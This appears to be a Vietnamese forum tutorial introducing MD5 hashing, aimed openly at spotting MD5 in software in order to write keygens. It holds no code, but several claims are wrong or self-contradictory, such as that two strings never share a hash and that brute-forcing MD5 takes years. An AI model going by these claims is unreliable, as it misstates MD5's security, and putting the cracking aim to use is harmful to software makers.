Mỗi một người có một “dấu lăn tay” (fingerprint) riêng ko ai giống ai đúng ko các bạn?. Lúc 15 tuổi tui làm giấy CMND cho đến nay “dấu lăn tay” của tui vẫn vậy. Và có khi nào bạn hỏi: Ai đã tạo ra nó thế?!. Xin trả lời: đó là do Ông Trời tạo ra bạn ạ!!!.(lãng xẹt) Hihi
Từ những ý tưởng đó , con người mới nghĩ ra việc : tại sao chúng ta ko làm Ông Trời một phen. Chúng ta thử tạo ra “dấu lăn tay” cho 1 cái gì đó để phân biệt chúng với nhau. Ví dụ như tên của mỗi người chẳng hạn (các bạn nên có khái niệm tên (name) là một chuổi các ký tự được gọi là string). Hêhêhê . Do vậy , trong IT người ta bắt đầu nghiên cứu các “cái máy” tạo ra “dấu lăn tay” cho các chuổi string. Một trong những “cái máy” đó là “Thuật toán MD5” mà chúng ta sắp nghiên cứu đây.
“Dấu lăn tay” do Thuật tóan MD5 (gọi tắt là MD5) từ một string gọi là message digest (tín hiệu digest, gọi tắt là md) hay còn gọi là “MD5 hashes” (gọi tắt là hashes). Một tín hiệu hashes là một chuổi các ký tự hexa ( bao gồm số 0-9 và a-f, các số hex ấy mà!!). Về nguyên tắt tạo ra hashes là :
-Bất cứ string nào cũng điều có duy nhất một hashes, ko bao giờ có 2 hashes cho 1 string
-Hai string khác nhau thì có 2 hashes khác nhau, ko bao giờ trùng nhau.
-Hảy nhớ điều này: từ 1 hashes ta tìm ngược lại string của nó được ko? Điều này ko bao giờ làm được. Ko một “máy” nào làm được.Chúng ta nên nhớ điều này.
Đó là những gì mà thuật tóan MD5 làm ra.
TUT này chúng ta ko tìm hiểu sâu thật sâu về MD5, như là tại sao làm như thuật tóan thì đáp ứng các điều kiện trên vừa nói, đó là việc của các nhà phát minh, các nhà tóan học.Chúng ta chỉ tìm hiểu cách thực hiện của MD5 mà thôi. Từ đó chúng ta có thể ứng dụng nó để nhận dạng ra chương trình nào sử dụng MD5, và sau đó ….keygen nó …hihi

Sau đây tui xin trích dẫn một số tài liệu về MD5 mà tui tìm hiểu được trên Net. Các bạn đọc từ từ nhé ko thôi bị mắc nghẹn à.

MỘT SỐ THÔNG TIN CĂN BẢN:

MD5 LÀ GÌ ?

MD để chỉ cho “message digest” (Lấy 2 chử đầu). MD5 là một thuật tóan lấy một tín hiệu vào có chiều dài bất kỳ và đưa ra một tín hiệu digest có chiều dài cố định (128-bit, 32 ký tự hexa), được làm ra từ 1 giá trị hexa (chú ý : mỗi ký tự hex là 4 bit, do đó 128bit là 32 ký tự hex). OK, bây giờ nói rõ hơn một chút : MD5 là cách căn bản để lấy chùm ký tự ( là digits, alphabeic hay gì khác ), được gọi là string nhập vào, và thay đổi chúng thành một chùm ký tự dài 32 ký tự , được gọi là tín hiệu digest (message digest) hay hashes của string được nhập vào, chuổi 32 ký tự này được tạo ra từ các ký tự hexa ( những digits: 0-9 và các chử a-f). Điều này có nghĩa là, với một string nhập vào có chiều dài bất kỳ , MD5 sẽ luôn luôn cài đặt “một vài thứ” để thành một chuổi string dài 32 ký tự, mà các ký tự là các ký tự hexa. Tín hiệu digest sẽ ko có khỏang trống, hay dấu hoặc kép hay bất cứ thứ gì khác 0-9 và a-f trong tín hiệu hashes được xuất ra.
MD5 hashes có tiện dụng là những hashes tạo ra trông khác nhau hòan tòan từ những tín hiệu nhập vào hơi hơi giống nhau. Ví dụ sau sẽ làm rỏ hơn về điều này:
• The MD5 hash of jim is 5e027396789a18c37aeda616e3d7991b
• The MD5 hash of Jim is d54b3c8fcd5ba07e47b400e69a287966
• The MD5 hash of Jimmy is 495b3121d23f5988b133882b36aa7214

Như bạn thấy đó, có ba tín hiệu nhập vào “hơi hơi giống nhau” nhưng các tín hiệu MD5 hashes xuất ra hòan tòan khác nhau. Ví dụ này cũng chứng minh hai ký tự j và J là 2 ký tự khác nhau . Do đó chúng ta thấy “máy đẻ” ra MD5 hashes là lọai rất nhạy cảm. Ở đây cần chú ý thêm là trong ví dụ thứ 3 chỉ thêm vào 2 ký tự (my) ở cuối chuổi của ví dụ 2 , và hashes của nó đã thay đổi hòan tòan. Vì vậy chúng ta ko thể có hashes của chuổi “Blehlo” từ hashes của chuổi “Bleh” bằng cách “vá viếu” thêm vài ký tự - thay đổi trong chuổi string nhập vào thì tín hiệu hashes của nó cũng sẽ thay đổi hòan tòan. Và ở đây cũng nên chú ý với 3 string nhập vào có chiều dài ko giống nhau nhưng các hash sinh ra đều có chiều dài là 32 ký tự (bao gồm các số 0-9 và a-f), ở ví dụ sau cùng ta cũng thấy chuổi string nhập vào dài hơn 2 ký tự so với 2 string trước nhưng chuổi hash của nó cũng chỉ có 32 ký tự chử số hex.
Mặc dù tín hiệu MD5 hashes xuất ra ngẫu nhiên từ string nhập vào , nhưng thật ra chúng ta có một kiểu mẫu tạo hashes MD5(một thuật tóan MD5) được sử dụng để “quay” string nhập vào thành một md hay một hashes. Nếu bạn muốn sử dụng nó thì bạn có thể đọc ở tut này ở phần sau . Bởi vì MD5 được sử dụng một thuật tóan giống nhau cho mỗi lần tính tóan nên MD5 hashes của chuổi jim luôn luôn là
5e027396789a18c37aeda616e3d7991b
Trong thực tế , một số chương trình còn thêm vào một vào vài lọai thuật tóan khác khi md được sinh ra , làm cho MD5 cực kỳ thông dụng và là 1 công cụ rất mạnh. Nhưng có lẻ điều quan trọng nhất là trong thực tế MD5 được dùng như một cách tạo hashes hay ta gọi là hash chuổi ( biến chuổi thành 1 chuổi “vớ vẫn” nào đó)……

Tôi xin nói thật, những điều tui tìm hiểu được trên đây làm cho tui vô cùng “đắc ý”. Tóm lại chúng ta cần biết như sau:

-MD5: là một thuật tóan biến đổi 1 chuổi string thành 1 tín hiệu “message digest” hay còn gọi là “MD5 hashes”. Đó là một tín hiệu 128 bits – 32 ký tự hexa.
-hash một chuổi string là biến một string thành một tín hiệu message digest
-Thủ tục (procedure) hay hàm (function) trong chương trình để hash chuổi gọi là “máy sinh” MD5 hashes hay còn gọi nôm na là “máy hash”.

Bây giờ chúng ta sẽ bước sang một câu hỏi khác rất quan trọng.

CHÚNG TA “DỊCH NGƯỢC” LẠI MỘT TÍN HIỆU MD5 HASHES NHƯ THẾ NÀO ?

Như trên tui đã nói : từ 1 hashes ta tìm ngược lại string của nó được ko? Điều này ko bao giờ làm được. Ko một “máy” nào làm được.
Vậy ở đây câu trả lời là : “Bạn không thể” . Cách hash một string có nghĩa là tín hiệu md xuất ra bằng thuật tóan MD5 là ko thể đảo ngược. Không thể biết cách tìm ra chuổi origin từ tín hiệu MD5 hashes. Vì như ví dụ ở phần trước, những chuỗi có vẽ giống nhau nhưng tín hiệu md sinh ra hòan tòan khác nhau Tức là chúng ta ko thể nào “decode” (dịch ngược) được một chuổi MD5 hashes. Chỉ có một cách có được chuổi origin là bằng cách “brute force cracking”. Tức là phải duyệt qua rất nhiều tổ họp các ký tự của chuổi vào cho đến khi một trong những chuổi md được tạo ra của chúng bằng với chuổi md cần tìm origin. Tuy nhiên , với khả năng máy tính thời nay muốn làm điều này phải mất rất nhiều năm. Mặt khác ở đây chúng ta cần chú ý đó là tín hiệu MD5 hashes được thiết kế ra là “độc nhất vô nhị”. Trên lý thuyết cũng có khả năng 2 chuổi khác nhau có tín hiệu md giống nhau nhưng khả năng này rất rất nhỏ (1/(16^32) hay vào khỏang (3.4E+38). Bởi vậy có một lần tui tham gia forum HVA và có người sử dụng chương trình tìm password cho tập tin WINRAR bị mất password và bác Comp đã kiến nghị ko nên dùng chương trình đó là lý do trên. Vì khả năng tìm ra password rất “dài hơi” và máy tính chắc chạy vài tuần của chưa tìm ra. Hảy bỏ ý định đó đi các bạn.

MD5 ĐƯỢC SỬ DỤNG CHO VIỆC GÌ ?

Chính các đặc điểm của MD5 làm cho nó thường được ứng dụng trong một số trường hợp như sau:
-Nó thường được dùng để checksum tòan bộ file. Các nhà phát triển ứng dụng thường dùng MD5 trong việc cho phép download file trên NET. Họ sẽ cho “xuất bản” một tín hiệu md của file download. Khi chúng ta tải file về , thì file chúng ta vừa download sẽ có một tín hiệu md, nếu tín hiệu này khớp với tín hiệu các nhà phát triển ứng dụng đã “xuất bản” ở trên. Thì OK, ko có vấn đề. Nếu hai tín hiệu md này khác nhau, có thể có trong file download có virut hay cái gì đó tương tự.
-Một ứng dụng thường được dùng nữa là hash một password. Được dùng cho việc bảo mật một ứng dụng, hay những gì tương tự …v….v….

Đây là một số thông tin căn bản chúng ta cần biết qua khi bắt đầu tìm hiểu về thuật tóan MD5. Ở đây tui cần nói thêm một chút:

-Chúng ta chỉ có thể tạo ra tín hiệu message digest từ một chuổi string ( đây được gọi là quá trình “encode”).Chúng ta ko thể “dịch ngược” một message digest ra một string origin (quá trình “dịch ngược” gọi là “decode”). Khi tìm hiểu về MD5, tui có hỏi trên Forum HVA về các soft dùng MD5, và có một người trả lời là “bạn cần soft encode hay decode”. Và hacnho trả lời giúp tui : dĩ nhiên là encode. Thật tình tui ko thể nào chịu nổi lọai người này. Họ chỉ biết trình diễn kiến thức. Đây ko phải là “văn hóa” khi tham gia một forum. Mong mọi người nên chân thành với nhau nhiều hơn.
-Một số người sai lầm khi hiểu rằng “MD5 hashes “ là thuật tóan tựa như MD5 ,tức là thuật tóan trên nền tản MD5 biến đổi đi đôi chút. (Các thuật tóan này tôi gọi nôn na là thuật tóan “Lai căn MD5”). Điều này sai lầm , benina chỉ xin nhắc lại : MD5 hashes = message digest.
-Đứng về mặt cracking, một số người khi chưa tìm hiểu kỹ MD5 và thấy decode ko được nên cho rằng các soft dùng thuật tóan MD5 là ko keygen được “bất khả xâm phạm” . Lại thêm một sai lầm nữa. Vì sau vậy?. Vì nếu 1 soft được bảo vệ bằng đúng “chính xác thuật tóan MD5” thì quá dễ để tìm ra số serial vì chúng ta đã biết chính xác thuật tóan này diễn ra như thế nào. Vì vậy các soft chỉ dùng thuật tóan “lai căn MD5” , hay lồng các thuật tóan khác với thuật tóan MD5. Vì vậy các bạn muốn tìm các soft trong thực tế sử dụng MD5 rất khó. (có thể nói là ko có vì ko coder nào ngu đến như vậy!). Tui chỉ tìm được một soft có thuật tóan khá giống thuật tóan MD5 mà thôi. Thực ra tui tìm trên Net thấy có 2 soft có thuật tóan “sát” với MD5, nhưng ko còn đường download trên Net nữa vì quá cũ. Tui phải ra tiệm bán các đĩa CD, và tìm được 1 Soft (mô phật! hên thiệt). Trong quá trình tìm hiểu MD5, tui cũng thu thập được một số soft có thuật tóan “Lai căn MD5”.Rồi tui sẽ share cho các bạn